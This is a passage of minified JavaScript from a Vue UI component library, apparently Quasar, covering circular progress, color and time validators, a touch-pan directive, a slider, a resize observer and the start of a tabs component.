                return this.thickness / 2 * this.viewBox
            },
            attrs: function() {
                return {
                    role: "progressbar",
                    "aria-valuemin": this.min,
                    "aria-valuemax": this.max,
                    "aria-valuenow": !0 === this.indeterminate ? void 0 : this.normalizedValue
                }
            }
        },
        methods: {
            __getCircle: function(t, e) {
                var i = e.thickness
                  , s = e.offset
                  , n = e.color;
                return t("circle", {
                    staticClass: "q-circular-progress__" + e.cls,
                    class: void 0 !== n ? "text-" + n : null,
                    style: this.circleStyle,
                    attrs: {
                        fill: "transparent",
                        stroke: "currentColor",
                        "stroke-width": i,
                        "stroke-dasharray": Ei,
                        "stroke-dashoffset": s,
                        cx: this.viewBox,
                        cy: this.viewBox,
                        r: 50
                    }
                })
            }
        },
        render: function(t) {
            var e = [];
            void 0 !== this.centerColor && "transparent" !== this.centerColor && e.push(t("circle", {
                staticClass: "q-circular-progress__center",
                class: "text-" + this.centerColor,
                attrs: {
                    fill: "currentColor",
                    r: 50 - this.strokeWidth / 2,
                    cx: this.viewBox,
                    cy: this.viewBox
                }
            })),
            void 0 !== this.trackColor && "transparent" !== this.trackColor && e.push(this.__getCircle(t, {
                cls: "track",
                thickness: this.strokeWidth,
                offset: 0,
                color: this.trackColor
            })),
            e.push(this.__getCircle(t, {
                cls: "circle",
                thickness: this.strokeWidth,
                offset: this.strokeDashOffset,
                color: this.color
            }));
            var i = [t("svg", {
                staticClass: "q-circular-progress__svg",
                style: this.svgStyle,
                attrs: {
                    focusable: "false",
                    viewBox: this.viewBoxAttr
                }
            }, e)];
            return !0 === this.showValue && i.push(t("div", {
                staticClass: "q-circular-progress__text absolute-full row flex-center content-center",
                style: {
                    fontSize: this.fontSize
                }
            }, void 0 !== this.$scopedSlots.default ? this.$scopedSlots.default() : [t("div", [this.normalizedValue])])),
            t("div", {
                staticClass: "q-circular-progress",
                class: "q-circular-progress--" + (!0 === this.indeterminate ? "in" : "") + "determinate",
                style: this.sizeStyle,
                on: Object.assign({}, this.qListeners),
                attrs: this.attrs
            }, Ot(i, this, "internal"))
        }
    })
      , Ai = /^#[0-9a-fA-F]{3}([0-9a-fA-F]{3})?$/
      , Di = /^#[0-9a-fA-F]{4}([0-9a-fA-F]{4})?$/
      , Ri = /^#([0-9a-fA-F]{3}|[0-9a-fA-F]{4}|[0-9a-fA-F]{6}|[0-9a-fA-F]{8})$/
      , Ii = /^rgb\(((0|[1-9][\d]?|1[\d]{0,2}|2[\d]?|2[0-4][\d]|25[0-5]),){2}(0|[1-9][\d]?|1[\d]{0,2}|2[\d]?|2[0-4][\d]|25[0-5])\)$/
      , Fi = /^rgba\(((0|[1-9][\d]?|1[\d]{0,2}|2[\d]?|2[0-4][\d]|25[0-5]),){2}(0|[1-9][\d]?|1[\d]{0,2}|2[\d]?|2[0-4][\d]|25[0-5]),(0|0\.[0-9]+[1-9]|0\.[1-9]+|1)\)$/
      , ji = {
        date: function(t) {
            return /^-?[\d]+\/[0-1]\d\/[0-3]\d$/.test(t)
        },
        time: function(t) {
            return /^([0-1]?\d|2[0-3]):[0-5]\d$/.test(t)
        },
        fulltime: function(t) {
            return /^([0-1]?\d|2[0-3]):[0-5]\d:[0-5]\d$/.test(t)
        },
        timeOrFulltime: function(t) {
            return /^([0-1]?\d|2[0-3]):[0-5]\d(:[0-5]\d)?$/.test(t)
        },
        hexColor: function(t) {
            return Ai.test(t)
        },
        hexaColor: function(t) {
            return Di.test(t)
        },
        hexOrHexaColor: function(t) {
            return Ri.test(t)
        },
        rgbColor: function(t) {
            return Ii.test(t)
        },
        rgbaColor: function(t) {
            return Fi.test(t)
        },
        rgbOrRgbaColor: function(t) {
            return Ii.test(t) || Fi.test(t)
        },
        hexOrRgbColor: function(t) {
            return Ai.test(t) || Ii.test(t)
        },
        hexaOrRgbaColor: function(t) {
            return Di.test(t) || Fi.test(t)
        },
        anyColor: function(t) {
            return Ri.test(t) || Ii.test(t) || Fi.test(t)
        }
    }
      , Vi = {
        testPattern: ji
    };
    function Ni(t, e, i) {
        var s, n = v(t), o = n.left - e.event.x, r = n.top - e.event.y, a = Math.abs(o), l = Math.abs(r), c = e.direction;
        !0 === c.horizontal && !0 !== c.vertical ? s = o < 0 ? "left" : "right" : !0 !== c.horizontal && !0 === c.vertical ? s = r < 0 ? "up" : "down" : !0 === c.up && r < 0 ? (s = "up",
        a > l && (!0 === c.left && o < 0 ? s = "left" : !0 === c.right && o > 0 && (s = "right"))) : !0 === c.down && r > 0 ? (s = "down",
        a > l && (!0 === c.left && o < 0 ? s = "left" : !0 === c.right && o > 0 && (s = "right"))) : !0 === c.left && o < 0 ? (s = "left",
        a < l && (!0 === c.up && r < 0 ? s = "up" : !0 === c.down && r > 0 && (s = "down"))) : !0 === c.right && o > 0 && (s = "right",
        a < l && (!0 === c.up && r < 0 ? s = "up" : !0 === c.down && r > 0 && (s = "down")));
        var u = !1;
        if (void 0 === s && !1 === i) {
            if (!0 === e.event.isFirst || void 0 === e.event.lastDir)
                return {};
            u = !0,
            "left" === (s = e.event.lastDir) || "right" === s ? (n.left -= o,
            a = 0,
            o = 0) : (n.top -= r,
            l = 0,
            r = 0)
        }
        return {
            synthetic: u,
            payload: {
                evt: t,
                touch: !0 !== e.event.mouse,
                mouse: !0 === e.event.mouse,
                position: n,
                direction: s,
                isFirst: e.event.isFirst,
                isFinal: !0 === i,
                duration: Date.now() - e.event.time,
                distance: {
                    x: a,
                    y: l
                },
                offset: {
                    x: o,
                    y: r
                },
                delta: {
                    x: n.left - e.event.lastX,
                    y: n.top - e.event.lastY
                }
            }
        }
    }
    var Hi = 0
      , Qi = {
        name: "touch-pan",
        bind: function(t, e) {
            var i = e.value
              , s = e.modifiers;
            if (!0 === s.mouse || !0 === u.has.touch) {
                var n = {
                    uid: "qvtp_" + Hi++,
                    handler: i,
                    modifiers: s,
                    direction: ue(s),
                    noop: f,
                    mouseStart: function(t) {
                        pe(t, n) && m(t) && (k(n, "temp", [[document, "mousemove", "move", "notPassiveCapture"], [document, "mouseup", "end", "passiveCapture"]]),
                        n.start(t, !0))
                    },
                    touchStart: function(t) {
                        if (pe(t, n)) {
                            var e = de(t.target);
                            k(n, "temp", [[e, "touchmove", "move", "notPassiveCapture"], [e, "touchcancel", "end", "passiveCapture"], [e, "touchend", "end", "passiveCapture"]]),
                            n.start(t)
                        }
                    },
                    start: function(e, i) {
                        !0 === u.is.firefox && x(t, !0),
                        n.lastEvt = e;
                        var o = v(e);
                        if (!0 === i || !0 === s.stop) {
                            if (!0 !== n.direction.all && (!0 !== i || !0 !== n.direction.mouseAllDir)) {
                                var r = e.type.indexOf("mouse") > -1 ? new MouseEvent(e.type,e) : new TouchEvent(e.type,e);
                                !0 === e.defaultPrevented && w(r),
                                !0 === e.cancelBubble && y(r),
                                r.qClonedBy = void 0 === e.qClonedBy ? [n.uid] : e.qClonedBy.concat(n.uid),
                                r.qKeyEvent = e.qKeyEvent,
                                r.qClickOutside = e.qClickOutside,
                                n.initialEvent = {
                                    target: e.target,
                                    event: r
                                }
                            }
                            y(e)
                        }
                        n.event = {
                            x: o.left,
                            y: o.top,
                            time: Date.now(),
                            mouse: !0 === i,
                            detected: !1,
                            isFirst: !0,
                            isFinal: !1,
                            lastX: o.left,
                            lastY: o.top
                        }
                    },
                    move: function(t) {
                        if (void 0 !== n.event) {
                            n.lastEvt = t;
                            var e = !0 === n.event.mouse
                              , i = function() {
                                o(t, e),
                                document.documentElement.style.cursor = "grabbing",
                                !0 === e && document.body.classList.add("no-pointer-events--children"),
                                document.body.classList.add("non-selectable"),
                                we(),
                                n.styleCleanup = function(t) {
                                    if (n.styleCleanup = void 0,
                                    document.documentElement.style.cursor = "",
                                    document.body.classList.remove("non-selectable"),
                                    !0 === e) {
                                        var i = function() {
                                            document.body.classList.remove("no-pointer-events--children")
                                        };
                                        void 0 !== t ? setTimeout(function() {
                                            i(),
                                            t()
                                        }, 50) : i()
                                    } else
                                        void 0 !== t && t()
                                }
                            };
                            if (!0 !== n.event.detected) {
                                if (!0 === n.direction.all || !0 === e && !0 === n.modifiers.mouseAllDir)
                                    return i(),
                                    n.event.detected = !0,
                                    void n.move(t);
                                var s = v(t)
                                  , r = s.left - n.event.x
                                  , a = s.top - n.event.y
                                  , l = Math.abs(r)
                                  , c = Math.abs(a);
                                l !== c && (!0 === n.direction.horizontal && l > c || !0 === n.direction.vertical && l < c || !0 === n.direction.up && l < c && a < 0 || !0 === n.direction.down && l < c && a > 0 || !0 === n.direction.left && l > c && r < 0 || !0 === n.direction.right && l > c && r > 0 ? (n.event.detected = !0,
                                n.move(t)) : n.end(t, !0))
                            } else {
                                !0 !== n.event.isFirst && o(t, n.event.mouse);
                                var u = Ni(t, n, !1)
                                  , h = u.payload
                                  , d = u.synthetic;
                                void 0 !== h && (!1 === n.handler(h) ? n.end(t) : (void 0 === n.styleCleanup && !0 === n.event.isFirst && i(),
                                n.event.lastX = h.position.left,
                                n.event.lastY = h.position.top,
                                n.event.lastDir = !0 === d ? void 0 : h.direction,
                                n.event.isFirst = !1))
                            }
                        }
                    },
                    end: function(e, i) {
                        if (void 0 !== n.event) {
                            if (q(n, "temp"),
                            !0 === u.is.firefox && x(t, !1),
                            !0 === i)
                                void 0 !== n.styleCleanup && n.styleCleanup(),
                                !0 !== n.event.detected && void 0 !== n.initialEvent && n.initialEvent.target.dispatchEvent(n.initialEvent.event);
                            else if (!0 === n.event.detected) {
                                !0 === n.event.isFirst && n.handler(Ni(void 0 === e ? n.lastEvt : e, n).payload);
                                var s = Ni(void 0 === e ? n.lastEvt : e, n, !0).payload
                                  , o = function() {
                                    n.handler(s)
                                };
                                void 0 !== n.styleCleanup ? n.styleCleanup(o) : o()
                            }
                            n.event = void 0,
                            n.initialEvent = void 0,
                            n.lastEvt = void 0
                        }
                    }
                };
                t.__qtouchpan && (t.__qtouchpan_old = t.__qtouchpan),
                t.__qtouchpan = n,
                !0 === s.mouse && k(n, "main", [[t, "mousedown", "mouseStart", "passive" + (!0 === s.mouseCapture ? "Capture" : "")]]),
                !0 === u.has.touch && k(n, "main", [[t, "touchstart", "touchStart", "passive" + (!0 === s.capture ? "Capture" : "")], [t, "touchmove", "noop", "notPassiveCapture"]])
            }
            function o(t, e) {
                !0 === s.mouse && !0 === e ? S(t) : (!0 === s.stop && y(t),
                !0 === s.prevent && w(t))
            }
        },
        update: function(t, e) {
            void 0 !== t.__qtouchpan && he(t.__qtouchpan, e)
        },
        unbind: function(t) {
            var e = t.__qtouchpan_old || t.__qtouchpan;
            void 0 !== e && (void 0 !== e.event && e.end(),
            q(e, "main"),
            q(e, "temp"),
            !0 === u.is.firefox && x(t, !1),
            void 0 !== e.styleCleanup && e.styleCleanup(),
            delete t[t.__qtouchpan_old ? "__qtouchpan_old" : "__qtouchpan"])
        }
    }
      , Wi = [34, 37, 40, 33, 39, 38];
    function Yi(t, e, i, s) {
        var n = v(t)
          , o = ht(!0 === s ? (n.top - e.top) / e.height : (n.left - e.left) / e.width, 0, 1);
        return !0 === i ? 1 - o : o
    }
    function Ui(t, e, i, s, n) {
        var o = e + t * (i - e);
        if (s > 0) {
            var r = (o - e) % s;
            o += (Math.abs(r) >= s / 2 ? (r < 0 ? -1 : 1) * s : 0) - r
        }
        return n > 0 && (o = parseFloat(o.toFixed(n))),
        ht(o, e, i)
    }
    var Ki = {
        mixins: [Dt, ai],
        directives: {
            TouchPan: Qi
        },
        props: {
            min: {
                type: Number,
                default: 0
            },
            max: {
                type: Number,
                default: 100
            },
            step: {
                type: Number,
                default: 1,
                validator: function(t) {
                    return t >= 0
                }
            },
            color: String,
            labelColor: String,
            labelTextColor: String,
            dense: Boolean,
            label: Boolean,
            labelAlways: Boolean,
            markers: Boolean,
            snap: Boolean,
            vertical: Boolean,
            reverse: Boolean,
            disable: Boolean,
            readonly: Boolean,
            tabindex: [String, Number],
            thumbPath: {
                type: String,
                default: "M 4, 10 a 6,6 0 1,0 12,0 a 6,6 0 1,0 -12,0"
            }
        },
        data: function() {
            return {
                active: !1,
                preventFocus: !1,
                focus: !1
            }
        },
        computed: {
            axis: function() {
                return !0 === this.vertical ? "--v" : "--h"
            },
            classes: function() {
                return "q-slider q-slider" + this.axis + " q-slider--" + (!0 === this.active ? "" : "in") + "active" + (!0 === this.isReversed ? " q-slider--reversed" : "") + (void 0 !== this.color ? " text-" + this.color : "") + (!0 === this.disable ? " disabled" : "") + (!0 === this.editable ? " q-slider--editable" : "") + ("both" === this.focus ? " q-slider--focus" : "") + (this.label || !0 === this.labelAlways ? " q-slider--label" : "") + (!0 === this.labelAlways ? " q-slider--label-always" : "") + (!0 === this.isDark ? " q-slider--dark" : "") + (!0 === this.dense ? " q-slider--dense q-slider--dense" + this.axis : "")
            },
            editable: function() {
                return !0 !== this.disable && !0 !== this.readonly
            },
            decimals: function() {
                return (String(this.step).trim("0").split(".")[1] || "").length
            },
            computedStep: function() {
                return 0 === this.step ? 1 : this.step
            },
            markerStyle: function() {
                return {
                    backgroundSize: !0 === this.vertical ? "2px " + 100 * this.computedStep / (this.max - this.min) + "%" : 100 * this.computedStep / (this.max - this.min) + "% 2px"
                }
            },
            computedTabindex: function() {
                return !0 === this.editable ? this.tabindex || 0 : -1
            },
            isReversed: function() {
                return !0 === this.vertical ? !0 === this.reverse : this.reverse !== (!0 === this.$q.lang.rtl)
            },
            positionProp: function() {
                return !0 === this.vertical ? !0 === this.isReversed ? "bottom" : "top" : !0 === this.isReversed ? "right" : "left"
            },
            sizeProp: function() {
                return !0 === this.vertical ? "height" : "width"
            },
            orientation: function() {
                return !0 === this.vertical ? "vertical" : "horizontal"
            },
            attrs: function() {
                var t = {
                    role: "slider",
                    "aria-valuemin": this.min,
                    "aria-valuemax": this.max,
                    "aria-orientation": this.orientation,
                    "data-step": this.step
                };
                return !0 === this.disable ? t["aria-disabled"] = "" : !0 === this.readonly && (t["aria-readonly"] = ""),
                t
            },
            panDirectives: function() {
                var t;
                return !0 === this.editable ? [{
                    name: "touch-pan",
                    value: this.__pan,
                    modifiers: (t = {},
                    t[this.orientation] = !0,
                    t.prevent = !0,
                    t.stop = !0,
                    t.mouse = !0,
                    t.mouseAllDir = !0,
                    t)
                }] : null
            }
        },
        methods: {
            __getThumbSvg: function(t) {
                return t("svg", {
                    staticClass: "q-slider__thumb absolute",
                    attrs: {
                        focusable: "false",
                        viewBox: "0 0 20 20",
                        width: "20",
                        height: "20"
                    }
                }, [t("path", {
                    attrs: {
                        d: this.thumbPath
                    }
                })])
            },
            __getPinStyle: function(t, e) {
                var i;
                if (!0 === this.vertical)
                    return {};
                var s = Math.ceil(20 * Math.abs(.5 - e)) + "px";
                return {
                    pin: {
                        transformOrigin: (!0 === this.$q.lang.rtl ? s : !0 === this.$q.platform.is.ie ? "100%" : "calc(100% - " + s + ")") + " 50%"
                    },
                    pinTextContainer: (i = {},
                    i[!0 === this.$q.lang.rtl ? "left" : "right"] = 100 * t + "%",
                    i.transform = "translateX(" + Math.ceil(20 * (!0 === this.$q.lang.rtl ? -1 : 1) * t) + "px)",
                    i)
                }
            },
            __pan: function(t) {
                t.isFinal ? (void 0 !== this.dragging && (this.__updatePosition(t.evt),
                !0 === t.touch && this.__updateValue(!0),
                this.dragging = void 0),
                this.active = !1) : t.isFirst ? (this.dragging = this.__getDragging(t.evt),
                this.__updatePosition(t.evt),
                this.__updateValue(),
                this.active = !0) : (this.__updatePosition(t.evt),
                this.__updateValue())
            },
            __blur: function() {
                this.focus = !1
            },
            __activate: function(t) {
                this.__updatePosition(t, this.__getDragging(t)),
                this.__updateValue(),
                this.preventFocus = !0,
                this.active = !0,
                document.addEventListener("mouseup", this.__deactivate, !0)
            },
            __deactivate: function() {
                this.preventFocus = !1,
                void 0 === this.dragging && (this.active = !1),
                this.__updateValue(!0),
                this.__blur(),
                document.removeEventListener("mouseup", this.__deactivate, !0)
            },
            __mobileClick: function(t) {
                this.__updatePosition(t, this.__getDragging(t)),
                this.__updateValue(!0)
            },
            __keyup: function(t) {
                Wi.includes(t.keyCode) && this.__updateValue(!0)
            }
        },
        beforeDestroy: function() {
            document.removeEventListener("mouseup", this.__deactivate, !0)
        }
    }
      , Xi = t.extend({
        name: "QSlider",
        mixins: [Ki],
        props: {
            value: {
                required: !0,
                default: null,
                validator: function(t) {
                    return "number" == typeof t || null === t
                }
            },
            labelValue: [String, Number]
        },
        data: function() {
            return {
                model: null === this.value ? this.min : this.value,
                curRatio: 0
            }
        },
        watch: {
            value: function(t) {
                this.model = null === t ? 0 : ht(t, this.min, this.max)
            },
            min: function(t) {
                this.model = ht(this.model, t, this.max)
            },
            max: function(t) {
                this.model = ht(this.model, this.min, t)
            }
        },
        computed: {
            ratio: function() {
                return !0 === this.active ? this.curRatio : this.modelRatio
            },
            modelRatio: function() {
                return (this.model - this.min) / (this.max - this.min)
            },
            trackStyle: function() {
                var t;
                return (t = {})[this.positionProp] = 0,
                t[this.sizeProp] = 100 * this.ratio + "%",
                t
            },
            thumbStyle: function() {
                var t;
                return (t = {})[this.positionProp] = 100 * this.ratio + "%",
                t
            },
            thumbClass: function() {
                if (!1 === this.preventFocus && !0 === this.focus)
                    return "q-slider--focus"
            },
            pinClass: function() {
                if (void 0 !== this.labelColor)
                    return "text-" + this.labelColor
            },
            pinTextClass: function() {
                return "q-slider__pin-value-marker-text" + (void 0 !== this.labelTextColor ? " text-" + this.labelTextColor : "")
            },
            events: function() {
                if (!0 === this.editable)
                    return !0 === this.$q.platform.is.mobile ? {
                        click: this.__mobileClick
                    } : {
                        mousedown: this.__activate,
                        focus: this.__focus,
                        blur: this.__blur,
                        keydown: this.__keydown,
                        keyup: this.__keyup
                    }
            },
            computedLabel: function() {
                return void 0 !== this.labelValue ? this.labelValue : this.model
            },
            pinStyle: function() {
                var t = !0 === this.reverse ? -this.ratio : this.ratio - 1;
                return this.__getPinStyle(t, this.ratio)
            }
        },
        methods: {
            __updateValue: function(t) {
                this.model !== this.value && this.$emit("input", this.model),
                !0 === t && this.$emit("change", this.model)
            },
            __getDragging: function() {
                return this.$el.getBoundingClientRect()
            },
            __updatePosition: function(t, e) {
                void 0 === e && (e = this.dragging);
                var i = Yi(t, e, this.isReversed, this.vertical);
                this.model = Ui(i, this.min, this.max, this.step, this.decimals),
                this.curRatio = !0 !== this.snap || 0 === this.step ? i : (this.model - this.min) / (this.max - this.min)
            },
            __focus: function() {
                this.focus = !0
            },
            __keydown: function(t) {
                if (Wi.includes(t.keyCode)) {
                    S(t);
                    var e = ([34, 33].includes(t.keyCode) ? 10 : 1) * this.computedStep
                      , i = [34, 37, 40].includes(t.keyCode) ? -e : e;
                    this.model = ht(parseFloat((this.model + i).toFixed(this.decimals)), this.min, this.max),
                    this.__updateValue()
                }
            }
        },
        render: function(t) {
            var e = [this.__getThumbSvg(t), t("div", {
                staticClass: "q-slider__focus-ring"
            })];
            !0 !== this.label && !0 !== this.labelAlways || e.push(t("div", {
                staticClass: "q-slider__pin q-slider__pin" + this.axis + " absolute",
                style: this.pinStyle.pin,
                class: this.pinClass
            }, [t("div", {
                staticClass: "q-slider__pin-text-container q-slider__pin-text-container" + this.axis,
                style: this.pinStyle.pinTextContainer
            }, [t("span", {
                staticClass: "q-slider__pin-text",
                class: this.pinTextClass
            }, [this.computedLabel])])]), t("div", {
                staticClass: "q-slider__arrow q-slider__arrow" + this.axis,
                class: this.pinClass
            })),
            void 0 !== this.name && !0 !== this.disable && this.__injectFormInput(e, "push");
            var i = [t("div", {
                staticClass: "q-slider__track q-slider__track" + this.axis + " absolute",
                style: this.trackStyle
            })];
            return !0 === this.markers && i.push(t("div", {
                staticClass: "q-slider__track-markers q-slider__track-markers" + this.axis + " absolute-full fit",
                style: this.markerStyle
            })),
            t("div", {
                staticClass: null === this.value ? " q-slider--no-value" : "",
                attrs: Object.assign({}, this.attrs, {
                    "aria-valuenow": this.value,
                    tabindex: this.computedTabindex
                }),
                class: this.classes,
                on: this.events,
                directives: this.panDirectives
            }, [t("div", {
                staticClass: "q-slider__track-container q-slider__track-container" + this.axis + " absolute"
            }, i), t("div", {
                staticClass: "q-slider__thumb-container q-slider__thumb-container" + this.axis + " absolute non-selectable",
                class: this.thumbClass,
                style: this.thumbStyle
            }, e)])
        }
    })
      , Gi = {
        data: function() {
            return {
                canRender: !n
            }
        },
        mounted: function() {
            !1 === this.canRender && (this.canRender = !0)
        }
    }
      , Zi = t.extend({
        name: "QResizeObserver",
        mixins: [Gi],
        props: {
            debounce: {
                type: [String, Number],
                default: 100
            }
        },
        data: function() {
            return !0 === this.hasObserver ? {} : {
                url: !0 === this.$q.platform.is.ie ? null : "about:blank"
            }
        },
        methods: {
            trigger: function(t) {
                !0 === t || 0 === this.debounce || "0" === this.debounce ? this.__onResize() : this.timer || (this.timer = setTimeout(this.__onResize, this.debounce))
            },
            __onResize: function() {
                if (this.timer = null,
                this.$el && this.$el.parentNode) {
                    var t = this.$el.parentNode
                      , e = {
                        width: t.offsetWidth,
                        height: t.offsetHeight
                    };
                    e.width === this.size.width && e.height === this.size.height || (this.size = e,
                    this.$emit("resize", this.size))
                }
            },
            __cleanup: function() {
                void 0 !== this.curDocView && (void 0 !== this.curDocView.removeEventListener && this.curDocView.removeEventListener("resize", this.trigger, d.passive),
                this.curDocView = void 0)
            },
            __onObjLoad: function() {
                this.__cleanup(),
                this.$el.contentDocument && (this.curDocView = this.$el.contentDocument.defaultView,
                this.curDocView.addEventListener("resize", this.trigger, d.passive)),
                this.__onResize()
            }
        },
        render: function(t) {
            if (!1 !== this.canRender && !0 !== this.hasObserver)
                return t("object", {
                    style: this.style,
                    attrs: {
                        tabindex: -1,
                        type: "text/html",
                        data: this.url,
                        "aria-hidden": "true"
                    },
                    on: mt(this, "load", {
                        load: this.__onObjLoad
                    })
                })
        },
        beforeCreate: function() {
            this.size = {
                width: -1,
                height: -1
            },
            !0 !== i && (this.hasObserver = "undefined" != typeof ResizeObserver,
            !0 !== this.hasObserver && (this.style = (this.$q.platform.is.ie ? "visibility:hidden;" : "") + "display:block;position:absolute;top:0;left:0;right:0;bottom:0;height:100%;width:100%;overflow:hidden;pointer-events:none;z-index:-1;"))
        },
        mounted: function() {
            if (!0 === this.hasObserver)
                return this.observer = new ResizeObserver(this.trigger),
                this.observer.observe(this.$el.parentNode),
                void this.__onResize();
            !0 === this.$q.platform.is.ie ? (this.url = "about:blank",
            this.__onResize()) : this.__onObjLoad()
        },
        beforeDestroy: function() {
            clearTimeout(this.timer),
            !0 !== this.hasObserver ? this.__cleanup() : void 0 !== this.observer && this.$el.parentNode && this.observer.unobserve(this.$el.parentNode)
        }
    });
    function Ji(t, e, i) {
        var s = !0 === i ? ["left", "right"] : ["top", "bottom"];
        return "absolute-" + (!0 === e ? s[0] : s[1]) + (t ? " text-" + t : "")
    }
    function ts(t, e) {
        return t.priorityMatched === e.priorityMatched ? e.priorityHref - t.priorityHref : e.priorityMatched - t.priorityMatched
    }
    function es(t) {
        return t.selected = !1,
        t
    }
    var is = [function(t) {
        return !0 === t.selected && !0 === t.exact && !0 !== t.redirected
    }
    , function(t) {
        return !0 === t.selected && !0 === t.exact
    }
    , function(t) {
        return !0 === t.selected && !0 !== t.redirected
    }
    , function(t) {
        return !0 === t.selected
    }
    , function(t) {
        return !0 === t.exact && !0 !== t.redirected
    }
    , function(t) {
        return !0 !== t.redirected
    }
    , function(t) {
        return !0 === t.exact
    }
    , function(t) {
        return !0
    }
    ]
      , ss = is.length
      , ns = t.extend({
        name: "QTabs",
        mixins: [xe, Mt],
        provide: function() {
            return {
                tabs: this.tabs,
                __recalculateScroll: this.__recalculateScroll,
                __activateTab: this.__activateTab,
                __activateRoute: this.__activateRoute
            }
        },
        props: {
            value: [Number, String],
            align: {
                type: String,
                default: "center",
                validator: function(t) {
                    return ["left", "center", "right", "justify"].includes(t)
                }
            },
            breakpoint: {
                type: [String, Number],
                default: 600
            },
            vertical: Boolean,
            shrink: Boolean,
            stretch: Boolean,
            activeColor: String,
            activeBgColor: String,
            indicatorColor: String,
            leftIcon: String,
            rightIcon: String,
            outsideArrows: Boolean,
            mobileArrows: Boolean,
            switchIndicator: Boolean,
            narrowIndicator: Boolean,
            inlineLabel: Boolean,
            noCaps: Boolean,
            dense: Boolean,
            contentClass: String
        },
        data: function() {
            return {
                tabs: {
                    current: this.value,
                    activeColor: this.activeColor,
                    activeBgColor: this.activeBgColor,
                    indicatorClass: Ji(this.indicatorColor, this.switchIndicator, this.vertical),
                    narrowIndicator: this.narrowIndicator,
                    inlineLabel: this.inlineLabel,
                    noCaps: this.noCaps
                },
                scrollable: !1,
                leftArrow: !0,
                rightArrow: !1,
                justify: !1
            }
        },
        watch: {
            value: function(t) {
                this.__activateTab(t, !0, !0)
            },
            activeColor: function(t) {
                this.tabs.activeColor = t
            },
            activeBgColor: function(t) {
                this.tabs.activeBgColor = t
            },
            vertical: function(t) {
                this.tabs.indicatorClass = Ji(this.indicatorColor, this.switchIndicator, t)
            },
            indicatorColor: function(t) {
                this.tabs.indicatorClass = Ji(t, this.switchIndicator, this.vertical)
            },
            switchIndicator: function(t) {
                this.tabs.indicatorClass = Ji(this.indicatorColor, t, this.vertical)
            },
            narrowIndicator: function(t) {
                this.tabs.narrowIndicator = t
            },
            inlineLabel: function(t) {
                this.tabs.inlineLabel = t
            },
            noCaps: function(t) {
                this.tabs.noCaps = t
            },
            outsideArrows: function() {
                this.$nextTick(this.__recalculateScroll())
            },
            arrowsEnabled: function(t) {
                this.__updateArrows = !0 === t ? this.__updateArrowsFn : f,
                this.$nextTick(this.__recalculateScroll())
            }
        },
        computed: {
            arrowsEnabled: function() {
                return !0 === this.mobileArrows || !0 === this.$q.platform.is.desktop
            },
            alignClass: function() {
                return "q-tabs__content--align-" + (!0 === this.scrollable ? "left" : !0 === this.justify ? "justify" : this.align)
            },
            classes: function() {
                return "q-tabs--" + (!0 === this.scrollable ? "" : "not-") + "scrollable q-tabs--" + (!0 === this.vertical ? "vertical" : "horizontal") + " q-tabs__arrows--" + (!0 === this.arrowsEnabled && !0 === this.outsideArrows ? "outside" : "inside") + (!0 === this.dense ? " q-tabs--dense" : "") + (!0 === this.shrink ? " col-shrink" : "") + (!0 === this.stretch ? " self-stretch" : "")
            },
            innerClass: function() {
                return this.alignClass + (void 0 !== this.contentClass ? " " + this.contentClass : "")
            },
            domProps: function() {
                return !0 === this.vertical ? {
                    container: "height",
                    content: "scrollHeight",
                    posLeft: "top",
                    posRight: "bottom"
                } : {
                    container: "width",
                    content: "scrollWidth",
                    posLeft: "left",
                    posRight: "right"
                }
            },
            onEvents: function() {
                return Object.assign({}, {
                    input: y
                }, this.qListeners)
            }
        },
        methods: {
            __activateTab: function(t, e, i) {
                this.tabs.current !== t && (!0 !== i && this.$emit("input", t),
                !0 !== e && void 0 !== this.qListeners.input || (this.__animate(this.tabs.current, t),
                this.tabs.current = t))
            },
            __activateRoute: function(t) {
                var e = this;
                this.bufferRoute !== this.$route && this.buffer.length > 0 && (clearTimeout(this.bufferTimer),
                this.bufferTimer = void 0,
                this.buffer.length = 0),
                this.bufferRoute = this.$route,
                void 0 !== t && (!0 === t.remove ? this.buffer = this.buffer.filter(function(e) {
                    return e.name !== t.name
                }) : this.buffer.push(t)),
                void 0 === this.bufferTimer && (this.bufferTimer = setTimeout(function() {
                    for (var t = [], i = 0; i < ss && 0 === t.length; i++)
                        t = e.buffer.filter(is[i]);
                    t.sort(ts),
                    e.__activateTab(0 === t.length ? null : t[0].name, !0),
                    e.buffer = e.buffer.map(es),
                    e.bufferTimer = void 0
                }, 1))
            },
            __recalculateScroll: function() {
                var t = this;
                this.__nextTick(function() {
                    !0 !== t._isDestroyed && t.__updateContainer({
                        width: t.$el.offsetWidth,
                        height: t.$el.offsetHeight
                    })
                }),
                this.__prepareTick()
            },
            __updateContainer: function(t) {
                var e = this
                  , i = t[this.domProps.container]
                  , s = this.$refs.content[this.domProps.content]
                  , n = i > 0 && s > i;
                this.scrollable !== n && (this.scrollable = n),
                !0 === n && this.$nextTick(function() {
                    return e.__updateArrows()
                });
                var o = i < parseInt(this.breakpoint, 10);
                this.justify !== o && (this.justify = o)
            },
            __animate: function(t, e) {
                var i = this
                  , s = void 0 !== t && null !== t && "" !== t ? this.$children.find(function(e) {
                    return e.name === t
                }) : null
                  , n = void 0 !== e && null !== e && "" !== e ? this.$children.find(function(t) {
                    return t.name === e
                }) : null;
                if (s && n) {
                    var o = s.$el.getElementsByClassName("q-tab__indicator")[0]
                      , r = n.$el.getElementsByClassName("q-tab__indicator")[0];
                    clearTimeout(this.animateTimer),
                    o.style.transition = "none",
                    o.style.transform = "none",
                    r.style.transition = "none",
                    r.style.transform = "none";
                    var a = o.getBoundingClientRect()
                      , l = r.getBoundingClientRect();
                    r.style.transform = !0 === this.vertical ? "translate3d(0," + (a.top - l.top) + "px,0) scale3d(1," + (l.height ? a.height / l.height : 1) + ",1)" : "translate3d(" + (a.left - l.left) + "px,0,0) scale3d(" + (l.width ? a.width / l.width : 1) + ",1,1)",
                    this.$nextTick(function() {
                        i.animateTimer = setTimeout(function() {
                            r.style.transition = "transform .25s cubic-bezier(.4, 0, .2, 1)",
                            r.style.transform = "none"
                        }, 30)
                    })
                }
                if (n && !0 === this.scrollable) {
                    var c = this.$refs.content.getBoundingClientRect()
                      , u = c.left
                      , h = c.width
                      , d = c.top
                      , p = c.height
                      , f = n.$el.getBoundingClientRect()
                      , m = !0 === this.vertical ? f.top - d : f.left - u;
                    if (m < 0)
                        return this.$refs.content[!0 === this.vertical ? "scrollTop" : "scrollLeft"] += Math.floor(m),
                        void this.__updateArrows();
                    (m += !0 === this.vertical ? f.height - p : f.width - h) > 0 && (this.$refs.content[!0 === this.vertical ? "scrollTop" : "scrollLeft"] += Math.ceil(m),
